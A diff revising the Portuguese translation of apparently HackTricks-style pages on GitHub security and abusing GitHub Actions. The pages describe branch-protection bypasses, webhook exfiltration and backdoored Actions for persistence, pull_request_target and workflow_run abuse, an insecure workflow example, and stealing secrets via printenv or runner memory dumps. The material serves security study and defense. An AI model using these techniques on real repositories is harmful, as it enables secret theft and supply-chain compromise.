||||
|
||||
> [!NOTE]
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Github Security
|
||||
# Segurança do Github
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## O que é o Github
|
||||
|
||||
(De [aqui](https://kinsta.com/knowledgebase/what-is-github/)) Em um nível alto, **o GitHub é um site e serviço baseado em nuvem que ajuda os desenvolvedores a armazenar e gerenciar seu código, além de rastrear e controlar alterações em seu código**.
|
||||
(De [aqui](https://kinsta.com/knowledgebase/what-is-github/)) Em um nível alto, **o GitHub é um site e um serviço baseado em nuvem que ajuda os desenvolvedores a armazenar e gerenciar seu código, além de rastrear e controlar as alterações em seu código**.
|
||||
|
||||
### Informações Básicas
|
||||
|
||||
@@ -32,7 +32,7 @@ Ferramentas (cada ferramenta contém sua lista de dorks):
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Lista de Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Lista de Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
|
||||
|
||||
### Github Leaks
|
||||
### Vazamentos do Github
|
||||
|
||||
Por favor, note que os github dorks também são destinados a pesquisar vazamentos usando opções de pesquisa do github. Esta seção é dedicada a aquelas ferramentas que irão **baixar cada repositório e procurar informações sensíveis neles** (até verificando certa profundidade de commits).
|
||||
|
||||
@@ -51,9 +51,9 @@ Ferramentas (cada ferramenta contém sua lista de regexes):
|
||||
|
||||
### Forks Externos
|
||||
|
||||
É possível **comprometer repositórios abusando de pull requests**. Para saber se um repositório é vulnerável, você precisa principalmente ler as configurações yaml do Github Actions. [**Mais informações sobre isso abaixo**](./#execution-from-a-external-fork).
|
||||
É possível **comprometer repositórios abusando de pull requests**. Para saber se um repositório é vulnerável, você precisa principalmente ler as configurações yaml das Ações do Github. [**Mais informações sobre isso abaixo**](./#execution-from-a-external-fork).
|
||||
|
||||
### Github Leaks em forks deletados/internos
|
||||
### Vazamentos do Github em forks deletados/internos
|
||||
|
||||
Mesmo que deletados ou internos, pode ser possível obter dados sensíveis de forks de repositórios do github. Confira aqui:
|
||||
|
||||
@@ -67,9 +67,9 @@ accessible-deleted-data-in-github.md
|
||||
|
||||
Existem alguns **privilégios padrão** que podem ser atribuídos aos **membros** da organização. Estes podem ser controlados a partir da página `https://github.com/organizations/<org_name>/settings/member_privileges` ou da [**API de Organizações**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
|
||||
- **Permissões básicas**: Os membros terão a permissão Nenhuma/Leitura/escrita/Admin sobre os repositórios da organização. O recomendado é **Nenhuma** ou **Leitura**.
|
||||
- **Fork de repositório**: Se não for necessário, é melhor **não permitir** que os membros façam fork dos repositórios da organização.
|
||||
- **Criação de páginas**: Se não for necessário, é melhor **não permitir** que os membros publiquem páginas dos repositórios da organização. Se necessário, você pode permitir a criação de páginas públicas ou privadas.
|
||||
- **Permissões básicas**: Os membros terão a permissão Nenhuma/Leitura/escrita/Admin sobre os repositórios da org. O recomendado é **Nenhuma** ou **Leitura**.
|
||||
- **Forking de repositórios**: Se não for necessário, é melhor **não permitir** que os membros façam fork dos repositórios da organização.
|
||||
- **Criação de páginas**: Se não for necessário, é melhor **não permitir** que os membros publiquem páginas dos repositórios da org. Se necessário, você pode permitir a criação de páginas públicas ou privadas.
|
||||
- **Solicitações de acesso à integração**: Com isso habilitado, colaboradores externos poderão solicitar acesso a aplicativos do GitHub ou OAuth para acessar esta organização e seus recursos. Geralmente é necessário, mas se não for, é melhor desabilitar.
|
||||
- _Não consegui encontrar essa informação na resposta das APIs, compartilhe se você encontrar_
|
||||
- **Mudança de visibilidade do repositório**: Se habilitado, **membros** com permissões **admin** para o **repositório** poderão **mudar sua visibilidade**. Se desabilitado, apenas os proprietários da organização podem mudar as visibilidades dos repositórios. Se você **não** quiser que as pessoas tornem as coisas **públicas**, certifique-se de que isso esteja **desabilitado**.
|
||||
@@ -89,11 +89,11 @@ Várias configurações relacionadas à segurança podem ser configuradas para a
|
||||
|
||||
- **Políticas de ações do Github**: Permite indicar quais repositórios podem executar fluxos de trabalho e quais fluxos de trabalho devem ser permitidos. É recomendado **especificar quais repositórios** devem ser permitidos e não permitir que todas as ações sejam executadas.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fluxos de trabalho de pull request de fork de colaboradores externos**: É recomendado **exigir aprovação para todos** os colaboradores externos.
|
||||
- **Fluxos de trabalho de pull requests de forks de colaboradores externos**: É recomendado **exigir aprovação para todos** os colaboradores externos.
|
||||
- _Não consegui encontrar uma API com essa informação, compartilhe se você encontrar_
|
||||
- **Executar fluxos de trabalho de pull requests de fork**: É altamente **desaconselhado executar fluxos de trabalho de pull requests** pois os mantenedores do fork de origem terão a capacidade de usar tokens com permissões de leitura no repositório de origem.
|
||||
- **Executar fluxos de trabalho de pull requests de forks**: É altamente **desaconselhado executar fluxos de trabalho de pull requests** pois os mantenedores do fork de origem terão a capacidade de usar tokens com permissões de leitura no repositório de origem.
|
||||
- _Não consegui encontrar uma API com essa informação, compartilhe se você encontrar_
|
||||
- **Permissões de fluxo de trabalho**: É altamente recomendado **dar apenas permissões de leitura de repositório**. É desaconselhado dar permissões de escrita e criar/aprovar pull requests para evitar o abuso do GITHUB_TOKEN dado para fluxos de trabalho em execução.
|
||||
- **Permissões de fluxo de trabalho**: É altamente recomendado **dar apenas permissões de leitura do repositório**. É desaconselhado dar permissões de escrita e criar/aprovar pull requests para evitar o abuso do GITHUB_TOKEN dado para fluxos de trabalho em execução.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
|
||||
### Integrações
|
||||
@@ -116,7 +116,7 @@ Note que **2FA pode ser usado**, então você só poderá acessar essas informa
|
||||
> [!NOTE]
|
||||
> Note que se você **conseguir roubar o cookie `user_session`** (atualmente configurado com SameSite: Lax), você pode **impersonar completamente o usuário** sem precisar de credenciais ou 2FA.
|
||||
|
||||
Verifique a seção abaixo sobre [**bypasses de proteção de branch**](./#branch-protection-bypass) caso seja útil.
|
||||
Verifique a seção abaixo sobre [**bypass de proteções de branch**](./#branch-protection-bypass) caso seja útil.
|
||||
|
||||
### Com Chave SSH de Usuário
|
||||
|
||||
@@ -130,7 +130,7 @@ git config --list
|
||||
```
|
||||
Se o usuário configurou seu nome de usuário como seu nome de usuário do github, você pode acessar as **chaves públicas que ele configurou** em sua conta em _https://github.com/\<github_username>.keys_, você pode verificar isso para confirmar se a chave privada que você encontrou pode ser usada.
|
||||
|
||||
**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos a partir de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada.
|
||||
**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada.
|
||||
|
||||
#### Chaves GPG
|
||||
|
||||
@@ -152,7 +152,7 @@ Um token de usuário se parece com isso: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX1
|
||||
|
||||
Para uma introdução sobre [**Aplicativos Oauth do Github, verifique as informações básicas**](basic-github-information.md#oauth-applications).
|
||||
|
||||
Um atacante pode criar um **Aplicativo Oauth malicioso** para acessar dados/ações privilegiados dos usuários que os aceitam, provavelmente como parte de uma campanha de phishing.
|
||||
Um atacante pode criar um **Aplicativo Oauth malicioso** para acessar dados/ações privilegiados dos usuários que o aceitam, provavelmente como parte de uma campanha de phishing.
|
||||
|
||||
Esses são os [escopos que um aplicativo Oauth pode solicitar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Um deve sempre verificar os escopos solicitados antes de aceitá-los.
|
||||
|
||||
@@ -162,11 +162,11 @@ Além disso, como explicado nas informações básicas, **as organizações pode
|
||||
|
||||
Para uma introdução sobre [**Aplicativos do Github, verifique as informações básicas**](basic-github-information.md#github-applications).
|
||||
|
||||
Um atacante pode criar um **Aplicativo Github malicioso** para acessar dados/ações privilegiados dos usuários que os aceitam, provavelmente como parte de uma campanha de phishing.
|
||||
Um atacante pode criar um **Aplicativo Github malicioso** para acessar dados/ações privilegiados dos usuários que o aceitam, provavelmente como parte de uma campanha de phishing.
|
||||
|
||||
Além disso, como explicado nas informações básicas, **as organizações podem conceder/negá-los acesso a aplicativos de terceiros** a informações/repos/ações relacionadas à organização.
|
||||
|
||||
## Comprometimento & Abuso da Ação do Github
|
||||
## Compromisso e Abuso da Ação do Github
|
||||
|
||||
Existem várias técnicas para comprometer e abusar de uma Ação do Github, verifique-as aqui:
|
||||
|
||||
@@ -176,19 +176,19 @@ abusing-github-actions/
|
||||
|
||||
## Bypass de Proteção de Branch
|
||||
|
||||
- **Exigir um número de aprovações**: Se você comprometeu várias contas, pode simplesmente aceitar seus PRs de outras contas. Se você tiver apenas a conta de onde criou o PR, não poderá aceitar seu próprio PR. No entanto, se você tiver acesso a um **ambiente de Ação do Github** dentro do repositório, usando o **GITHUB_TOKEN**, você pode ser capaz de **aprovar seu PR** e obter 1 aprovação dessa forma.
|
||||
- **Exigir um número de aprovações**: Se você comprometeu várias contas, pode simplesmente aceitar seus PRs de outras contas. Se você apenas tem a conta de onde criou o PR, não pode aceitar seu próprio PR. No entanto, se você tiver acesso a um ambiente de **Ação do Github** dentro do repositório, usando o **GITHUB_TOKEN**, pode ser capaz de **aprovar seu PR** e obter 1 aprovação dessa forma.
|
||||
- _Nota para isso e para a restrição de Proprietários de Código que geralmente um usuário não poderá aprovar seus próprios PRs, mas se você puder, pode abusar disso para aceitar seus PRs._
|
||||
- **Rejeitar aprovações quando novos commits são enviados**: Se isso não estiver configurado, você pode enviar código legítimo, esperar até que alguém o aprove e colocar código malicioso e mesclá-lo na branch protegida.
|
||||
- **Exigir revisões de Proprietários de Código**: Se isso estiver ativado e você for um Proprietário de Código, poderá fazer uma **Ação do Github criar seu PR e então aprová-lo você mesmo**.
|
||||
- **Rejeitar aprovações quando novos commits são enviados**: Se isso não estiver configurado, você pode enviar código legítimo, esperar até que alguém o aprove, e colocar código malicioso e mesclá-lo na branch protegida.
|
||||
- **Exigir revisões de Proprietários de Código**: Se isso estiver ativado e você for um Proprietário de Código, pode fazer uma **Ação do Github criar seu PR e então aprová-lo você mesmo**.
|
||||
- Quando um **arquivo CODEOWNER está mal configurado**, o Github não reclama, mas não o utiliza. Portanto, se estiver mal configurado, **a proteção de Proprietários de Código não é aplicada.**
|
||||
- **Permitir que atores especificados contornem os requisitos de pull request**: Se você for um desses atores, pode contornar as proteções de pull request.
|
||||
- **Incluir administradores**: Se isso não estiver configurado e você for administrador do repositório, pode contornar essas proteções de branch.
|
||||
- **Sequestro de PR**: Você pode ser capaz de **modificar o PR de outra pessoa** adicionando código malicioso, aprovando o PR resultante você mesmo e mesclando tudo.
|
||||
- **Removendo Proteções de Branch**: Se você for um **administrador do repositório, pode desativar as proteções**, mesclar seu PR e reativar as proteções.
|
||||
- **Contornando proteções de push**: Se um repositório **somente permite certos usuários** enviar push (mesclar código) em branches (a proteção de branch pode estar protegendo todas as branches especificando o curinga `*`).
|
||||
- Se você tiver **acesso de escrita sobre o repositório, mas não for permitido enviar código** por causa da proteção de branch, ainda pode **criar uma nova branch** e dentro dela criar uma **ação do github que é acionada quando o código é enviado**. Como a **proteção de branch não protegerá a branch até que seja criada**, esse primeiro push de código para a branch **executará a ação do github**.
|
||||
- **Contornando proteções de push**: Se um repositório **somente permite que certos usuários** enviem push (mesclem código) em branches (a proteção de branch pode estar protegendo todas as branches especificando o curinga `*`).
|
||||
- Se você tiver **acesso de escrita sobre o repositório, mas não for permitido enviar código** por causa da proteção de branch, ainda pode **criar uma nova branch** e dentro dela criar uma **ação do github que é acionada quando o código é enviado**. Como a **proteção de branch não protegerá a branch até que ela seja criada**, esse primeiro envio de código para a branch **executará a ação do github**.
|
||||
|
||||
## Bypass de Proteções de Ambientes
|
||||
## Contornar Proteções de Ambientes
|
||||
|
||||
Para uma introdução sobre [**Ambiente do Github, verifique as informações básicas**](basic-github-information.md#git-environments).
|
||||
|
||||
@@ -200,7 +200,7 @@ push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
```
|
||||
Note que **após a criação** do branch, a **proteção do branch será aplicada ao novo branch** e você não poderá modificá-lo, mas nesse momento você já terá extraído os segredos.
|
||||
Note que **após a criação** do branch, a **proteção do branch será aplicada ao novo branch** e você não poderá modificá-lo, mas nesse tempo você já terá extraído os segredos.
|
||||
|
||||
## Persistência
|
||||
|
||||
@@ -211,12 +211,12 @@ Note que **após a criação** do branch, a **proteção do branch será aplicad
|
||||
- Criar **webhooks** para exfiltrar informações
|
||||
- Convidar **colaboradores externos**
|
||||
- **Remover** **webhooks** usados pelo **SIEM**
|
||||
- Criar/modificar **Github Action** com uma **porta dos fundos**
|
||||
- Encontrar **Github Action vulnerável para injeção de comandos** via modificação de valor de **segredo**
|
||||
- Criar/modificar **Github Action** com uma **backdoor**
|
||||
- Encontrar **Github Action vulnerável a injeção de comando** via modificação de valor de **segredo**
|
||||
|
||||
### Commits de Impostor - Porta dos fundos via commits de repositório
|
||||
### Commits de Impostor - Backdoor via commits de repositório
|
||||
|
||||
No Github, é possível **criar um PR para um repositório a partir de um fork**. Mesmo que o PR não seja **aceito**, um **commit** id dentro do repositório original será criado para a versão fork do código. Portanto, um atacante **poderia fixar o uso de um commit específico de um repositório aparentemente legítimo que não foi criado pelo proprietário do repositório**.
|
||||
No Github, é possível **criar um PR para um repositório a partir de um fork**. Mesmo que o PR **não seja aceito**, um **commit** id dentro do repositório original será criado para a versão fork do código. Portanto, um atacante **poderia fixar o uso de um commit específico de um repositório aparentemente legítimo que não foi criado pelo proprietário do repositório**.
|
||||
|
||||
Como [**este**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
```yaml
|
||||
|
||||
@@ -1,20 +1,20 @@
|
||||
# Abusing Github Actions
|
||||
# Abusando do Github Actions
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Informações Básicas
|
||||
|
||||
Nesta página você encontrará:
|
||||
|
||||
- Um **resumo de todos os impactos** de um atacante conseguindo acessar uma Github Action
|
||||
- Um **resumo de todos os impactos** de um atacante conseguindo acessar um Github Action
|
||||
- Diferentes maneiras de **obter acesso a uma ação**:
|
||||
- Ter **permissões** para criar a ação
|
||||
- Abusar de **gatilhos** relacionados a pull requests
|
||||
- Abusar de **gatilhos** relacionados a **pull requests**
|
||||
- Abusar de **outras técnicas de acesso externo**
|
||||
- **Pivotar** de um repositório já comprometido
|
||||
- Finalmente, uma seção sobre **técnicas de pós-exploração para abusar de uma ação de dentro** (causando os impactos mencionados)
|
||||
|
||||
## Impacts Summary
|
||||
## Resumo dos Impactos
|
||||
|
||||
Para uma introdução sobre [**Github Actions, confira as informações básicas**](../basic-github-information.md#github-actions).
|
||||
|
||||
@@ -28,11 +28,11 @@ Se você pode **executar código arbitrário no GitHub Actions** dentro de um **
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
Este "**segredo**" (vindo de `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) é fornecido quando o administrador habilita esta opção:
|
||||
Este "**segredo**" (vindo de `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) é dado quando o administrador habilita esta opção:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Este token é o mesmo que uma **Aplicação Github usará**, então pode acessar os mesmos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
Este token é o mesmo que uma **Aplicação do Github usará**, então pode acessar os mesmos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> O Github deve lançar um [**fluxo**](https://github.com/github/roadmap/issues/74) que **permita acesso entre repositórios** dentro do GitHub, para que um repositório possa acessar outros repositórios internos usando o `GITHUB_TOKEN`.
|
||||
@@ -143,7 +143,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
> [!NOTE]
|
||||
> Esta seria a maneira mais fácil de comprometer ações do Github, já que este caso supõe que você tenha acesso para **criar um novo repositório na organização**, ou tenha **privilegios de escrita sobre um repositório**.
|
||||
>
|
||||
> Se você estiver nesse cenário, pode apenas verificar as [técnicas de Pós Exploração](./#post-exploitation-techniques-from-inside-an-action).
|
||||
> Se você estiver nesse cenário, pode apenas verificar as [técnicas de pós-exploração](./#post-exploitation-techniques-from-inside-an-action).
|
||||
|
||||
### Execução a partir da Criação de Repositório
|
||||
|
||||
@@ -170,22 +170,22 @@ branches:
|
||||
## Execução Forked
|
||||
|
||||
> [!NOTE]
|
||||
> Existem diferentes gatilhos que poderiam permitir a um atacante **executar uma Github Action de outro repositório**. Se essas ações acionáveis forem mal configuradas, um atacante poderá comprometê-las.
|
||||
> Existem diferentes gatilhos que poderiam permitir a um atacante **executar uma Github Action de outro repositório**. Se essas ações acionáveis estiverem mal configuradas, um atacante poderá comprometê-las.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
O gatilho do fluxo de trabalho **`pull_request`** executará o fluxo de trabalho toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **colaborando**, algum **mantenedor** precisará **aprovar** a **execução** do fluxo de trabalho:
|
||||
O gatilho de workflow **`pull_request`** executará o workflow toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **colaborando**, algum **mantenedor** precisará **aprovar** a **execução** do workflow:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Como a **limitação padrão** é para **contribuidores de primeira viagem**, você poderia contribuir **corrigindo um bug/erro válido** e depois enviar **outros PRs para abusar de seus novos privilégios de `pull_request`**.
|
||||
> Como a **limitação padrão** é para **contribuidores de primeira viagem**, você poderia contribuir **corrigindo um bug/erro válido** e então enviar **outros PRs para abusar de seus novos privilégios de `pull_request`**.
|
||||
>
|
||||
> **Eu testei isso e não funciona**: ~~Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e deletou sua conta.~~
|
||||
|
||||
Além disso, por padrão **impede permissões de escrita** e **acesso a segredos** no repositório alvo, conforme mencionado na [**documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
|
||||
> Com a exceção de `GITHUB_TOKEN`, **segredos não são passados para o runner** quando um fluxo de trabalho é acionado de um repositório **forked**. O **`GITHUB_TOKEN` tem permissões de leitura** em pull requests **de repositórios forked**.
|
||||
> Com a exceção de `GITHUB_TOKEN`, **segredos não são passados para o runner** quando um workflow é acionado de um repositório **forked**. O **`GITHUB_TOKEN` tem permissões de leitura** em pull requests **de repositórios forked**.
|
||||
|
||||
Um atacante poderia modificar a definição da Github Action para executar coisas arbitrárias e adicionar ações arbitrárias. No entanto, ele não poderá roubar segredos ou sobrescrever o repositório devido às limitações mencionadas.
|
||||
|
||||
@@ -196,20 +196,20 @@ Como o atacante também controla o código sendo executado, mesmo que não haja
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
O gatilho do fluxo de trabalho **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a segredos** (e não pede permissão).
|
||||
O gatilho de workflow **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a segredos** (e não pede permissão).
|
||||
|
||||
Note que o gatilho do fluxo de trabalho **`pull_request_target`** **executa no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais informações sobre `pull_request_target`, [**verifique a documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Note que o gatilho de workflow **`pull_request_target`** **executa no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais informações sobre `pull_request_target`, [**verifique a documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Além disso, para mais informações sobre esse uso específico perigoso, confira este [**post no blog do github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
Pode parecer que, porque o **fluxo de trabalho executado** é o definido na **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**.
|
||||
Pode parecer que, como o **workflow executado** é o definido na **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**.
|
||||
|
||||
E este terá **acesso a segredos**.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
O gatilho [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite executar um fluxo de trabalho a partir de outro quando está `completo`, `solicitado` ou `em_andamento`.
|
||||
O gatilho [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite executar um workflow a partir de outro quando está `completo`, `solicitado` ou `em progresso`.
|
||||
|
||||
Neste exemplo, um fluxo de trabalho é configurado para ser executado após a conclusão do fluxo de trabalho separado "Executar Testes":
|
||||
Neste exemplo, um workflow é configurado para ser executado após a conclusão do workflow separado "Executar Testes":
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -219,7 +219,7 @@ types:
|
||||
```
|
||||
Além disso, de acordo com a documentação: O fluxo de trabalho iniciado pelo evento `workflow_run` é capaz de **acessar segredos e escrever tokens, mesmo que o fluxo de trabalho anterior não tenha**.
|
||||
|
||||
Esse tipo de fluxo de trabalho pode ser atacado se **depender** de um **fluxo de trabalho** que pode ser **ativado** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**encontrados neste blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no fluxo de trabalho ativado por **`workflow_run`** baixando o código dos atacantes: `${{ github.event.pull_request.head.sha }}`\
|
||||
Esse tipo de fluxo de trabalho pode ser atacado se **depender** de um **fluxo de trabalho** que pode ser **ativado** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**encontrados neste blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no fluxo de trabalho acionado por **`workflow_run`** baixando o código do atacante: `${{ github.event.pull_request.head.sha }}`\
|
||||
O segundo consiste em **passar** um **artefato** do código **não confiável** para o fluxo de trabalho **`workflow_run`** e usar o conteúdo desse artefato de uma maneira que o torne **vulnerável a RCE**.
|
||||
|
||||
### `workflow_call`
|
||||
@@ -236,10 +236,10 @@ Mencionamos todas as maneiras que um atacante externo poderia conseguir fazer um
|
||||
|
||||
No caso de **`pull_request`,** o fluxo de trabalho será executado no **contexto do PR** (então executará o **código malicioso do PR**), mas alguém precisa **autorizá-lo primeiro** e ele será executado com algumas [limitações](./#pull_request).
|
||||
|
||||
No caso de um fluxo de trabalho usando **`pull_request_target` ou `workflow_run`** que depende de um fluxo de trabalho que pode ser ativado a partir de **`pull_request_target` ou `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**.
|
||||
No caso de um fluxo de trabalho usando **`pull_request_target` ou `workflow_run`** que depende de um fluxo de trabalho que pode ser acionado a partir de **`pull_request_target` ou `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**.
|
||||
|
||||
> [!CAUTION]
|
||||
> No entanto, se a **ação** tiver um **checkout explícito do PR** que irá **obter o código do PR** (e não da base), ele usará o código controlado pelos atacantes. Por exemplo (ver linha 12 onde o código do PR é baixado):
|
||||
> No entanto, se a **ação** tiver um **checkout de PR explícito** que **obterá o código do PR** (e não da base), usará o código controlado pelo atacante. Por exemplo (ver linha 12 onde o código do PR é baixado):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Fornecido apenas como exemplo.
|
||||
on:
|
||||
@@ -288,7 +288,7 @@ De acordo com a documentação: Você pode tornar uma **variável de ambiente di
|
||||
|
||||
Se um atacante puder **injetar qualquer valor** dentro dessa variável **env**, ele poderá injetar variáveis de ambiente que poderiam executar código nas etapas seguintes, como **LD_PRELOAD** ou **NODE_OPTIONS**.
|
||||
|
||||
Por exemplo ([**este**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**este**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um fluxo de trabalho que confia em um artefato carregado para armazenar seu conteúdo dentro da variável de ambiente **`GITHUB_ENV`**. Um atacante poderia carregar algo assim para comprometê-lo:
|
||||
Por exemplo ([**isso**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**isso**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um fluxo de trabalho que confia em um artefato carregado para armazenar seu conteúdo dentro da variável de ambiente **`GITHUB_ENV`**. Um atacante poderia carregar algo assim para comprometê-lo:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -323,7 +323,7 @@ with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
Isto pode ser atacado com este fluxo de trabalho:
|
||||
Isso pode ser atacado com este fluxo de trabalho:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
@@ -349,7 +349,7 @@ Se uma conta mudar seu nome, outro usuário pode registrar uma conta com esse no
|
||||
> [!CAUTION]
|
||||
> Portanto, se uma ação estiver usando um repositório de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a ação.
|
||||
|
||||
Se outros repositórios estavam usando **dependências desses repositórios de usuário**, um atacante poderá sequestrá-los. Aqui está uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
Se outros repositórios estavam usando **dependências desses repositórios de usuário**, um atacante poderá sequestrá-los. Aqui você tem uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
@@ -360,7 +360,7 @@ Se outros repositórios estavam usando **dependências desses repositórios de u
|
||||
|
||||
### Envenenamento de Cache
|
||||
|
||||
Um cache é mantido entre **execuções de workflow na mesma branch**. O que significa que, se um atacante **comprometer** um **pacote** que é então armazenado no cache e **baixado** e executado por um **workflow mais privilegiado**, ele poderá **comprometer** também esse workflow.
|
||||
Um cache é mantido entre **execuções de workflow na mesma branch**. O que significa que, se um atacante **comprometer** um **pacote** que é então armazenado no cache e **baixado** e executado por um **workflow mais privilegiado**, ele poderá também **comprometer** esse workflow.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
@@ -394,7 +394,7 @@ Verifique as seguintes páginas:
|
||||
|
||||
Se você estiver injetando conteúdo em um script, é interessante saber como você pode acessar segredos:
|
||||
|
||||
- Se o segredo ou token estiver definido como uma **variável de ambiente**, ele pode ser acessado diretamente através do ambiente usando **`printenv`**.
|
||||
- Se o segredo ou token estiver definido como uma **variável de ambiente**, pode ser acessado diretamente através do ambiente usando **`printenv`**.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -468,7 +468,7 @@ key: ${{ secrets.PUBLISH_KEY }}
|
||||
|
||||
A maneira de descobrir quais **Github Actions estão sendo executadas em infraestrutura não-Github** é procurar por **`runs-on: self-hosted`** na configuração yaml da Github Action.
|
||||
|
||||
Runners **auto-hospedados** podem ter acesso a **informações extra sensíveis**, a outros **sistemas de rede** (pontos finais vulneráveis na rede? serviço de metadados?) ou, mesmo que esteja isolado e destruído, **mais de uma ação pode ser executada ao mesmo tempo** e a maliciosa poderia **roubar os segredos** da outra.
|
||||
Runners **auto-hospedados** podem ter acesso a **informações extra sensíveis**, a outros **sistemas de rede** (pontos finais vulneráveis na rede? serviço de metadados?) ou, mesmo que esteja isolado e destruído, **mais de uma ação pode ser executada ao mesmo tempo** e a maliciosa pode **roubar os segredos** da outra.
|
||||
|
||||
Em runners auto-hospedados, também é possível obter os **segredos do processo \_Runner.Listener**\_\*\* que conterá todos os segredos dos fluxos de trabalho em qualquer etapa, despejando sua memória:
|
||||
```bash
|
||||
@@ -517,7 +517,7 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
|
||||
|
||||
Como você pode ver no código anterior, o registro do Github está hospedado em **`ghcr.io`**.
|
||||
|
||||
Um usuário com permissões de leitura sobre o repositório poderá então baixar a Imagem Docker usando um token de acesso pessoal:
|
||||
Um usuário com permissões de leitura sobre o repositório poderá então baixar a imagem Docker usando um token de acesso pessoal:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
